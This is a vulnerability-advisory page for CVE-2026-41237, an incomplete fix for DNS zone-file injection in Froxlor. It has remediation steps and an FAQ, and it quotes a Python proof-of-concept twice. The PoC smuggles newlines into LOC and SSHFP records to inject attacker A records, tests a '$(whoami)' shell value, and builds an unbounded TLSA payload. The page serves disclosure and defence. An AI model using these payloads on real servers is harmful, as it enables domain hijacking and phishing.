CVE-2026-41237: Froxlor/froxlor Froxlor Has An Incomplete Fix Vulnerability

HIGH
Advisory Identifier: GHSA-j6fm-9rfm-j5hx
CWE-74
Published
Advisory Summary

CVE-2026-41237 is a HIGH froxlor has an incomplete fix vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Froxlor/froxlor libraries in the Packagist ecosystem. The issue involves froxlor has an incomplete fix for cve-2026-30932. Remediation is available by upgrading affected packages to version 2.3.7.

CVE-2026-41237 at a Glance

CVE Identifier CVE-2026-41237
GHSA Identifier GHSA-j6fm-9rfm-j5hx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product Froxlor/froxlor
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-41237

To remediate this vulnerability, upgrade all affected Froxlor/froxlor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

froxlor/froxlor fixed: 2.3.7
Upgrade froxlor/froxlor to 2.3.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for froxlor/froxlor

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41237, inspect your project dependencies for Froxlor/froxlor:

inspect dependencies for froxlor/froxlor

Analyze the terminal output to locate any version of Froxlor/froxlor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Froxlor/froxlor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The LOC record regex uses `\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping. ### Affected Package - **Ecosystem:** Other - **Package:** froxlor - **Affected versions:** all versions before fix commit b34829262dc3 - **Patched versions:** >= commit b34829262dc3 ### Severity Medium -- CVSS ### CWE CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection) ### Details DNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines. The fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping. ### PoC ```python #!/usr/bin/env python3 """ CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor Affected component: lib/Froxlor/Api/Commands/DomainZones.php Vulnerability type: Input Validation / DNS Zone File Injection Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types. However, the sanitization is incomplete: 1. PRE-FIX: No validation at all - arbitrary content stored as DNS records. 2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0 allows unbounded hex data; validators return raw input without escaping. """ import re import sys import string def vulnerable_add_record(record_type, content): """Pre-fix: no validation for LOC, RP, SSHFP, TLSA.""" errors = [] if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content: pass return {"errors": errors, "content": content} def validate_dns_loc(inp): """Replicates Validate::validateDnsLoc from the patch.""" pattern = re.compile( r'^' r'(\d{1,2})\s+' r'(\d{1,2})\s+' r'(\d{1,2}(?:\.\d+)?)\s+' r'([NS])\s+' r'(\d{1,3})\s+' r'(\d{1,2})\s+' r'(\d{1,2}(?:\.\d+)?)\s+' r'([EW])\s+' r'(-?\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m' r'(?:\s+(\d+(?:\.\d+)?)m)?' r')?)?$', re.DOTALL ) m = pattern.match(inp) if not m: return False lat_deg = int(m.group(1)) lat_min = int(m.group(2)) lat_sec = float(m.group(3)) lon_deg = int(m.group(5)) lon_min = int(m.group(6)) lon_sec = float(m.group(7)) if lat_deg > 90: return False if lat_min > 59: return False if lat_sec >= 60: return False if lon_deg > 180: return False if lon_min > 59: return False if lon_sec >= 60: return False return inp def validate_dns_sshfp(inp): """Replicates Validate::validateDnsSshfp from the patch.""" parts = inp.strip().split() if len(parts) != 3: return False algorithm, fp_type, fingerprint = parts valid_algorithms = [1, 2, 3, 4, 6] if not algorithm.isdigit() or int(algorithm) not in valid_algorithms: return False valid_types = [1, 2] if not fp_type.isdigit() or int(fp_type) not in valid_types: return False if not all(c in string.hexdigits for c in fingerprint): return False fp_type_int = int(fp_type) expected = {1: 40, 2: 64}.get(fp_type_int, 0) if len(fingerprint) != expected: return False return inp def validate_dns_tlsa(inp): """Replicates Validate::validateDnsTlsa from the patch.""" parts = inp.strip().split() if len(parts) != 4: return False usage, selector, matching_type, data = parts if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]: return False if not selector.isdigit() or int(selector) not in [0, 1]: return False if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]: return False if not all(c in string.hexdigits for c in data): return False mt = int(matching_type) if mt == 1 and len(data) != 64: return False if mt == 2 and len(data) != 128: return False if mt == 0 and len(data) < 2: return False return inp def validate_dns_rp(inp): """Replicates Validate::validateDnsRp from the patch.""" parts = inp.strip().split() if len(parts) != 2: return False mbox, txt = parts mbox = mbox.rstrip('.') txt = txt.rstrip('.') domain_re = re.compile(r'^[a-zA-Z0-9._-]+$') if not domain_re.match(mbox): return False if not domain_re.match(txt): return False return inp def fixed_add_record(record_type, content): """Post-fix: validates content but returns raw input.""" errors = [] validators = { 'LOC': validate_dns_loc, 'RP': validate_dns_rp, 'SSHFP': validate_dns_sshfp, 'TLSA': validate_dns_tlsa, } if record_type in validators and content: result = validators[record_type](content) if result is False: errors.append(f"The {record_type} record has invalid content") return {"errors": errors, "content": content} def generate_zone_line(record, ttl, rtype, content): """Replicates DnsEntry.php line 83: direct string concatenation.""" return f"{record}\t{ttl}\tIN\t{rtype}\t{content}\n" vuln_confirmed = False print("=" * 70) print("CVE-2026-30932 PoC: froxlor DNS Record Content Injection") print("=" * 70) print() print("[TEST 1] VULNERABLE version: SSHFP record with zone injection") print("-" * 70) malicious_sshfp = "1 1 aabbccdd\nevil.example.com.\t300\tIN\tA\t6.6.6.6" result = vulnerable_add_record('SSHFP', malicious_sshfp) if not result['errors']: zone_output = generate_zone_line('@', 300, 'SSHFP', result['content']) print("VULNERABLE: No validation, malicious content accepted!") print("Generated zone file output:") print("---") print(zone_output, end="") print("---") if "6.6.6.6" in zone_output: print("[!] DNS zone injection: attacker A record (6.6.6.6) injected!") vuln_confirmed = True print() print("[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)") print("-" * 70) result_fixed = fixed_add_record('SSHFP', malicious_sshfp) if result_fixed['errors']: print("FIXED: Blocked -", "; ".join(result_fixed['errors'])) else: print("BYPASS: Still accepted!") vuln_confirmed = True print() print("[TEST 3] FIXED version BYPASS: LOC record with newline via \\s+ matching") print("-" * 70) loc_bypass = "51 28 38 N 0 0 1\nW\n10m" result_loc = fixed_add_record('LOC', loc_bypass) if not result_loc['errors']: zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content']) lines = [l for l in zone_output.split('\n') if l.strip()] if len(lines) > 1: print("BYPASS CONFIRMED: LOC with embedded newline passed validation!") print(f"Generated zone output has {len(lines)} lines:") print("---") print(zone_output, end="") print("---") vuln_confirmed = True else: print("Validated but single line output.") else: print("Blocked:", "; ".join(result_loc['errors'])) templates = [ "51\n28 38 N 0 0 1 W 10m", "51 28\n38 N 0 0 1 W 10m", "51 28 38\nN 0 0 1 W 10m", "51 28 38 N\n0 0 1 W 10m", "51 28 38 N 0\n0 1 W 10m", "51 28 38 N 0 0\n1 W 10m", "51 28 38 N 0 0 1\nW 10m", "51 28 38 N 0 0 1 W\n10m", ] for i, t in enumerate(templates): r = fixed_add_record('LOC', t) if not r['errors']: zone_out = generate_zone_line('@', 300, 'LOC', r['content']) zlines = [l for l in zone_out.split('\n') if l.strip()] if len(zlines) > 1: print(f" BYPASS at position {i}: newline in LOC passed validation!") print(f" Zone output lines: {len(zlines)}") vuln_confirmed = True break else: print(" LOC newline bypass not directly exploitable in this regex engine.") print() print("[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload") print("-" * 70) huge_hex = "aa" * 50000 tlsa_payload = "3 1 0 " + huge_hex result_tlsa = fixed_add_record('TLSA', tlsa_payload) if not result_tlsa['errors']: print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!") print(" -> No upper bound on certificate association data length.") print(" -> Can be used for DNS amplification or data exfiltration channel.") print(f" -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!") vuln_confirmed = True else: print("Blocked:", "; ".join(result_tlsa['errors'])) print() print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection") print("-" * 70) malicious_loc = "51 28 38 N 0 0 0 W 10m\nevil\t300\tIN\tA\t10.0.0.1\n*.evil\t300\tIN\tA\t10.0.0.2" result_vuln_loc = vulnerable_add_record('LOC', malicious_loc) if not result_vuln_loc['errors']: zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content']) lines = [l for l in zone_output.split('\n') if l.strip()] print(f"VULNERABLE: Injected {len(lines)} zone file lines!") print("Generated zone output:") print("---") print(zone_output, end="") print("---") if "10.0.0.1" in zone_output: print("[!] Attacker DNS records injected into zone file!") vuln_confirmed = True print() print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters") print("-" * 70) shell_inject = "3 1 1 $(whoami)" vuln_r = vulnerable_add_record('TLSA', shell_inject) fixed_r = fixed_add_record('TLSA', shell_inject) vuln_status = "ACCEPTED (no validation)" if not vuln_r['errors'] else "BLOCKED" fixed_status = "ACCEPTED" if not fixed_r['errors'] else "BLOCKED" print(f" VULNERABLE version: {vuln_status}") print(f" FIXED version: {fixed_status}") if not vuln_r['errors'] and fixed_r['errors']: print(" -> Fix correctly blocks shell metacharacters in TLSA.") if not vuln_r['errors']: vuln_confirmed = True print() print("=" * 70) print("RESULTS SUMMARY") print("=" * 70) print() print("Pre-fix (VULNERABLE):") print(" - LOC, RP, SSHFP, TLSA records accept ANY content with no validation") print(" - Enables DNS zone file injection via newlines in record content") print(" - Content directly concatenated into zone files (DnsEntry.php:83)") print() print("Post-fix (INCOMPLETE):") print(" - TLSA matchingType=0 has no upper bound on hex data length") print(" - Validation returns raw input without zone-file escaping") print(" - No output encoding when writing content to zone files") print() if vuln_confirmed: print("VULNERABILITY CONFIRMED") sys.exit(0) else: print("VULNERABILITY NOT CONFIRMED") sys.exit(1) ``` **Steps to reproduce:** 1. `git clone https://github.com/froxlor/froxlor /tmp/froxlor_test` 2. `cd /tmp/froxlor_test && git checkout b34829262dc3~1` 3. `python3 poc.py` **Expected output:** ``` VULNERABILITY CONFIRMED LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters ``` ### Impact An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads. ### Suggested Remediation Replace `\s+` in the LOC regex with `[ \t]+` to exclude newlines. Add a maximum length for TLSA `matchingType=0` data. Escape or reject newlines in all DNS record content before writing to zone files. ### Resources - Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3 - Original CVE: CVE-2026-30932

CVE-2026-41237 Affected Froxlor/froxlor Versions

1 component(s)
Fixed Versions:
2.3.7
Product / Package Ecosystem Affected Versions Fixed Version
froxlor/froxlor
Packagist
< 2.3.7
2.3.7

References

Frequently Asked Questions

What is CVE-2026-41237?
CVE-2026-41237 is a security vulnerability in Froxlor/froxlor involving Froxlor has an incomplete fix for CVE-2026-30932 under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which Froxlor/froxlor versions are affected?
Affected versions include releases prior to 2.3.7 across affected packages: froxlor/froxlor.
What version fixes CVE-2026-41237?
Upgrading to 2.3.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is froxlor/froxlor affected?
Yes, froxlor/froxlor is affected in releases prior to 2.3.7. Upgrade your dependency to 2.3.7 or later.
What CWE is associated with CVE-2026-41237?
CVE-2026-41237 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check Packagist dependencies for CVE-2026-41237?
Run the dependency tree command: 'inspect dependencies for froxlor/froxlor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j6fm-9rfm-j5hx",
  "modified" : "2026-06-09T11:54:35Z",
  "published" : "2026-05-29T15:45:31Z",
  "aliases" : [ "CVE-2026-41237" ],
  "summary" : "Froxlor has an incomplete fix for CVE-2026-30932",
  "details" : "### Summary\n\nThe LOC record regex uses `\\s+` which matches newlines (allowing embedded newlines to pass), TLSA `matchingType=0` has no upper bound on hex data length, and all validators return raw input without zone-file escaping.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** froxlor\n- **Affected versions:** all versions before fix commit b34829262dc3\n- **Patched versions:** >= commit b34829262dc3\n\n### Severity\n\nMedium -- CVSS\n\n### CWE\n\nCWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)\n\n### Details\n\nDNS record content is concatenated directly into bind9 zone files at `DnsEntry.php` line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.\n\nThe fix adds format-specific regexes and field validation but has gaps: the LOC regex's `\\s+` matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA `matchingType=0` only requires `len(data) >= 2` with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor\n\nAffected component: lib/Froxlor/Api/Commands/DomainZones.php\nVulnerability type: Input Validation / DNS Zone File Injection\nPatch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b\n\nThe patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.\nHowever, the sanitization is incomplete:\n\n1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.\n2. POST-FIX BYPASS: LOC regex \\s+ matches newlines; TLSA matchingType=0\n   allows unbounded hex data; validators return raw input without escaping.\n\"\"\"\n\nimport re\nimport sys\nimport string\n\ndef vulnerable_add_record(record_type, content):\n    \"\"\"Pre-fix: no validation for LOC, RP, SSHFP, TLSA.\"\"\"\n    errors = []\n    if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:\n        pass\n    return {\"errors\": errors, \"content\": content}\n\n\ndef validate_dns_loc(inp):\n    \"\"\"Replicates Validate::validateDnsLoc from the patch.\"\"\"\n    pattern = re.compile(\n        r'^'\n        r'(\\d{1,2})\\s+'\n        r'(\\d{1,2})\\s+'\n        r'(\\d{1,2}(?:\\.\\d+)?)\\s+'\n        r'([NS])\\s+'\n        r'(\\d{1,3})\\s+'\n        r'(\\d{1,2})\\s+'\n        r'(\\d{1,2}(?:\\.\\d+)?)\\s+'\n        r'([EW])\\s+'\n        r'(-?\\d+(?:\\.\\d+)?)m'\n        r'(?:\\s+(\\d+(?:\\.\\d+)?)m'\n        r'(?:\\s+(\\d+(?:\\.\\d+)?)m'\n        r'(?:\\s+(\\d+(?:\\.\\d+)?)m)?'\n        r')?)?$',\n        re.DOTALL\n    )\n    m = pattern.match(inp)\n    if not m:\n        return False\n\n    lat_deg = int(m.group(1))\n    lat_min = int(m.group(2))\n    lat_sec = float(m.group(3))\n    lon_deg = int(m.group(5))\n    lon_min = int(m.group(6))\n    lon_sec = float(m.group(7))\n\n    if lat_deg > 90: return False\n    if lat_min > 59: return False\n    if lat_sec >= 60: return False\n    if lon_deg > 180: return False\n    if lon_min > 59: return False\n    if lon_sec >= 60: return False\n\n    return inp\n\n\ndef validate_dns_sshfp(inp):\n    \"\"\"Replicates Validate::validateDnsSshfp from the patch.\"\"\"\n    parts = inp.strip().split()\n    if len(parts) != 3:\n        return False\n\n    algorithm, fp_type, fingerprint = parts\n\n    valid_algorithms = [1, 2, 3, 4, 6]\n    if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:\n        return False\n\n    valid_types = [1, 2]\n    if not fp_type.isdigit() or int(fp_type) not in valid_types:\n        return False\n\n    if not all(c in string.hexdigits for c in fingerprint):\n        return False\n\n    fp_type_int = int(fp_type)\n    expected = {1: 40, 2: 64}.get(fp_type_int, 0)\n    if len(fingerprint) != expected:\n        return False\n\n    return inp\n\n\ndef validate_dns_tlsa(inp):\n    \"\"\"Replicates Validate::validateDnsTlsa from the patch.\"\"\"\n    parts = inp.strip().split()\n    if len(parts) != 4:\n        return False\n\n    usage, selector, matching_type, data = parts\n\n    if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:\n        return False\n    if not selector.isdigit() or int(selector) not in [0, 1]:\n        return False\n    if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:\n        return False\n    if not all(c in string.hexdigits for c in data):\n        return False\n\n    mt = int(matching_type)\n    if mt == 1 and len(data) != 64:\n        return False\n    if mt == 2 and len(data) != 128:\n        return False\n    if mt == 0 and len(data) < 2:\n        return False\n\n    return inp\n\n\ndef validate_dns_rp(inp):\n    \"\"\"Replicates Validate::validateDnsRp from the patch.\"\"\"\n    parts = inp.strip().split()\n    if len(parts) != 2:\n        return False\n\n    mbox, txt = parts\n    mbox = mbox.rstrip('.')\n    txt = txt.rstrip('.')\n\n    domain_re = re.compile(r'^[a-zA-Z0-9._-]+$')\n    if not domain_re.match(mbox):\n        return False\n    if not domain_re.match(txt):\n        return False\n\n    return inp\n\n\ndef fixed_add_record(record_type, content):\n    \"\"\"Post-fix: validates content but returns raw input.\"\"\"\n    errors = []\n    validators = {\n        'LOC': validate_dns_loc,\n        'RP': validate_dns_rp,\n        'SSHFP': validate_dns_sshfp,\n        'TLSA': validate_dns_tlsa,\n    }\n    if record_type in validators and content:\n        result = validators[record_type](content)\n        if result is False:\n            errors.append(f\"The {record_type} record has invalid content\")\n    return {\"errors\": errors, \"content\": content}\n\n\ndef generate_zone_line(record, ttl, rtype, content):\n    \"\"\"Replicates DnsEntry.php line 83: direct string concatenation.\"\"\"\n    return f\"{record}\\t{ttl}\\tIN\\t{rtype}\\t{content}\\n\"\n\n\nvuln_confirmed = False\n\nprint(\"=\" * 70)\nprint(\"CVE-2026-30932 PoC: froxlor DNS Record Content Injection\")\nprint(\"=\" * 70)\nprint()\n\nprint(\"[TEST 1] VULNERABLE version: SSHFP record with zone injection\")\nprint(\"-\" * 70)\n\nmalicious_sshfp = \"1 1 aabbccdd\\nevil.example.com.\\t300\\tIN\\tA\\t6.6.6.6\"\nresult = vulnerable_add_record('SSHFP', malicious_sshfp)\n\nif not result['errors']:\n    zone_output = generate_zone_line('@', 300, 'SSHFP', result['content'])\n    print(\"VULNERABLE: No validation, malicious content accepted!\")\n    print(\"Generated zone file output:\")\n    print(\"---\")\n    print(zone_output, end=\"\")\n    print(\"---\")\n    if \"6.6.6.6\" in zone_output:\n        print(\"[!] DNS zone injection: attacker A record (6.6.6.6) injected!\")\n        vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)\")\nprint(\"-\" * 70)\n\nresult_fixed = fixed_add_record('SSHFP', malicious_sshfp)\nif result_fixed['errors']:\n    print(\"FIXED: Blocked -\", \"; \".join(result_fixed['errors']))\nelse:\n    print(\"BYPASS: Still accepted!\")\n    vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 3] FIXED version BYPASS: LOC record with newline via \\\\s+ matching\")\nprint(\"-\" * 70)\n\nloc_bypass = \"51 28 38 N 0 0 1\\nW\\n10m\"\nresult_loc = fixed_add_record('LOC', loc_bypass)\n\nif not result_loc['errors']:\n    zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content'])\n    lines = [l for l in zone_output.split('\\n') if l.strip()]\n    if len(lines) > 1:\n        print(\"BYPASS CONFIRMED: LOC with embedded newline passed validation!\")\n        print(f\"Generated zone output has {len(lines)} lines:\")\n        print(\"---\")\n        print(zone_output, end=\"\")\n        print(\"---\")\n        vuln_confirmed = True\n    else:\n        print(\"Validated but single line output.\")\nelse:\n    print(\"Blocked:\", \"; \".join(result_loc['errors']))\n    templates = [\n        \"51\\n28 38 N 0 0 1 W 10m\",\n        \"51 28\\n38 N 0 0 1 W 10m\",\n        \"51 28 38\\nN 0 0 1 W 10m\",\n        \"51 28 38 N\\n0 0 1 W 10m\",\n        \"51 28 38 N 0\\n0 1 W 10m\",\n        \"51 28 38 N 0 0\\n1 W 10m\",\n        \"51 28 38 N 0 0 1\\nW 10m\",\n        \"51 28 38 N 0 0 1 W\\n10m\",\n    ]\n    for i, t in enumerate(templates):\n        r = fixed_add_record('LOC', t)\n        if not r['errors']:\n            zone_out = generate_zone_line('@', 300, 'LOC', r['content'])\n            zlines = [l for l in zone_out.split('\\n') if l.strip()]\n            if len(zlines) > 1:\n                print(f\"  BYPASS at position {i}: newline in LOC passed validation!\")\n                print(f\"  Zone output lines: {len(zlines)}\")\n                vuln_confirmed = True\n                break\n    else:\n        print(\"  LOC newline bypass not directly exploitable in this regex engine.\")\n\nprint()\n\nprint(\"[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload\")\nprint(\"-\" * 70)\n\nhuge_hex = \"aa\" * 50000\ntlsa_payload = \"3 1 0 \" + huge_hex\nresult_tlsa = fixed_add_record('TLSA', tlsa_payload)\n\nif not result_tlsa['errors']:\n    print(f\"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!\")\n    print(\"  -> No upper bound on certificate association data length.\")\n    print(\"  -> Can be used for DNS amplification or data exfiltration channel.\")\n    print(f\"  -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!\")\n    vuln_confirmed = True\nelse:\n    print(\"Blocked:\", \"; \".join(result_tlsa['errors']))\n\nprint()\n\nprint(\"[TEST 5] VULNERABLE version: LOC record with full zone takeover injection\")\nprint(\"-\" * 70)\n\nmalicious_loc = \"51 28 38 N 0 0 0 W 10m\\nevil\\t300\\tIN\\tA\\t10.0.0.1\\n*.evil\\t300\\tIN\\tA\\t10.0.0.2\"\nresult_vuln_loc = vulnerable_add_record('LOC', malicious_loc)\n\nif not result_vuln_loc['errors']:\n    zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])\n    lines = [l for l in zone_output.split('\\n') if l.strip()]\n    print(f\"VULNERABLE: Injected {len(lines)} zone file lines!\")\n    print(\"Generated zone output:\")\n    print(\"---\")\n    print(zone_output, end=\"\")\n    print(\"---\")\n    if \"10.0.0.1\" in zone_output:\n        print(\"[!] Attacker DNS records injected into zone file!\")\n        vuln_confirmed = True\n\nprint()\n\nprint(\"[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters\")\nprint(\"-\" * 70)\n\nshell_inject = \"3 1 1 $(whoami)\"\nvuln_r = vulnerable_add_record('TLSA', shell_inject)\nfixed_r = fixed_add_record('TLSA', shell_inject)\n\nvuln_status = \"ACCEPTED (no validation)\" if not vuln_r['errors'] else \"BLOCKED\"\nfixed_status = \"ACCEPTED\" if not fixed_r['errors'] else \"BLOCKED\"\n\nprint(f\"  VULNERABLE version: {vuln_status}\")\nprint(f\"  FIXED version:      {fixed_status}\")\n\nif not vuln_r['errors'] and fixed_r['errors']:\n    print(\"  -> Fix correctly blocks shell metacharacters in TLSA.\")\nif not vuln_r['errors']:\n    vuln_confirmed = True\n\nprint()\n\nprint(\"=\" * 70)\nprint(\"RESULTS SUMMARY\")\nprint(\"=\" * 70)\nprint()\nprint(\"Pre-fix (VULNERABLE):\")\nprint(\"  - LOC, RP, SSHFP, TLSA records accept ANY content with no validation\")\nprint(\"  - Enables DNS zone file injection via newlines in record content\")\nprint(\"  - Content directly concatenated into zone files (DnsEntry.php:83)\")\nprint()\nprint(\"Post-fix (INCOMPLETE):\")\nprint(\"  - TLSA matchingType=0 has no upper bound on hex data length\")\nprint(\"  - Validation returns raw input without zone-file escaping\")\nprint(\"  - No output encoding when writing content to zone files\")\nprint()\n\nif vuln_confirmed:\n    print(\"VULNERABILITY CONFIRMED\")\n    sys.exit(0)\nelse:\n    print(\"VULNERABILITY NOT CONFIRMED\")\n    sys.exit(1)\n\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/froxlor/froxlor /tmp/froxlor_test`\n2. `cd /tmp/froxlor_test && git checkout b34829262dc3~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nLOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters\n```\n\n### Impact\n\nAn authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.\n\n### Suggested Remediation\n\nReplace `\\s+` in the LOC regex with `[ \\t]+` to exclude newlines. Add a maximum length for TLSA `matchingType=0` data. Escape or reject newlines in all DNS record content before writing to zone files.\n\n### Resources\n\n- Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3\n- Original CVE: CVE-2026-30932",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "froxlor/froxlor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/security/advisories/GHSA-j6fm-9rfm-j5hx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30932"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41237"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/commit/b34829262dc3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/froxlor/froxlor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T15:45:31Z",
    "nvd_published_at" : "2026-06-04T19:16:29Z"
  }
}